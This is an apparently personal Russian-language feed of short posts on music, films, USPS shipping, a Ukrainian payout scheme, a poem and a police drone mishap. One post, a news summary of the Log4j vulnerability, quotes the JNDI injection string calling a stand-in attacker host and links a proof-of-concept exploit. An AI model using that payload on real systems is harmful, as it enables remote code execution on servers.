RA
Качественный power metal
https://soundcloud.com/search?q=powerwolf
RA
RA
Куфическое письмо. Когда тебе нельзя рисовать, приходится придумывать такие штуки. И это даже прекрасно.
RA
Как USPS отправлял-отправлял посылку да не выотправил
Второй раз сталкиваюсь с ебучей логистикой в штатах. И это не какие-то стрёмные посредники, это прям международная (читай дорогая) доставка.
RA
Стало понятно как будут раздавать вертолётные 1000 грн #znkpq.
Открываешь спец. карту в своём банке, в приложении Дiя указываешь её реквизиты (опция должна стать доступной с 19 декабря, если конечно же привит).
По МСС банк будет определять можно проводить транзакцию или нет.
https://minfin.com.ua/2021/12/10/76989108/
--
Открыл счёт в Альфе. Жду 19 декабря.
RA
Уязвимость в Apache Log4j, затрагивающая многие Java-проекты
https://www.opennet.ru/open.../art.shtml?num=56319
проблеме подвержены почти все проекты, использующие такие фреймворки, как Apache Struts, Apache Solr, Apache Druid или Apache Flink, включая Steam, Apple iCloud, клиенты и серверы игры Minecraft.
Проблема была вызвана тем, что log4j поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой log4j отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.
Эксплоит
https://github.com/tangxiaofeng7/apache-log4j-poc
--
Вот эту фичу с загрузкой классов и их выполнению всегда считал какой-то java-дичью.
RA
"Иллюзия контроля" - норм кинчик.
На торентах нет. Пришлось в кинотеатр ехать.
Фильм вышел в 2021. Но первый "трейлер" появился ещё в 2017.
RA
Шествие омикрона
https://www.newsnodes.com/omicron_tracker/
RA
"Облачный атлас". Экранизация романа к которой просто нечем придраться. Разве что принципы корпократии в Нео Сеуле не раскрыты.
RA
Вчера меня добавили в телего-группу, где оказалась почти половина моих одногруппников из универа. Что случилось? Умер кто-то. Других поводов для встреч у нас уже нет.
RA
Она не была в Эмиратах,
Не видела Рим никогда
И вряд ли увидит когда-то:
Ей не с кем оставить кота.
Ей снится порой на рассвете
Родной её город - Чита.
Она и туда не поедет:
Ей не с кем оставить кота.
А боль, словно острая спица,
Засела в районе хребта...
Но как она ляжет в больницу?
Ей не с кем оставить кота.
Ей скоро уже девяносто -
Она доживет и до ста.
Секрет долголетья? Всё просто:
Ей не с кем оставить кота.
© Вера Бутко
RA
Одесские полицейские лишились новенького мультикоптера DJI Matrice 300 RTK, который приобрели совсем недавно, в конце октября, почти за 1,5 млн грн.
Полицейские решили испытать дрон и пригласили для запуска специалистов из Киева. При этом место для пробного полета они выбрали явно неудачно, возле армейских складов с горючим. Уже через десять минут после пуска аппарат вдруг перестал выходить на связь.
Пока незадачливые «авиаторы» искали коптер, от военных в ГУНП поступил сигнал о неопознанном летательном объекте, реющем над складами.
Полицейские, не знающие об экзерсисах коллег, решили подключиться к охоте за вероятным воздушным шпионом. И даже объявили премию в две тысячи гривен за приземленный аппарат.
Однако к тому времени военные уже справились с задачей самостоятельно. Ситуация, знаете ли, напряженная, шпион — не шпион… Сказано – сделано, прибор был просто прострелен меткой очередью из автомата Калашникова.
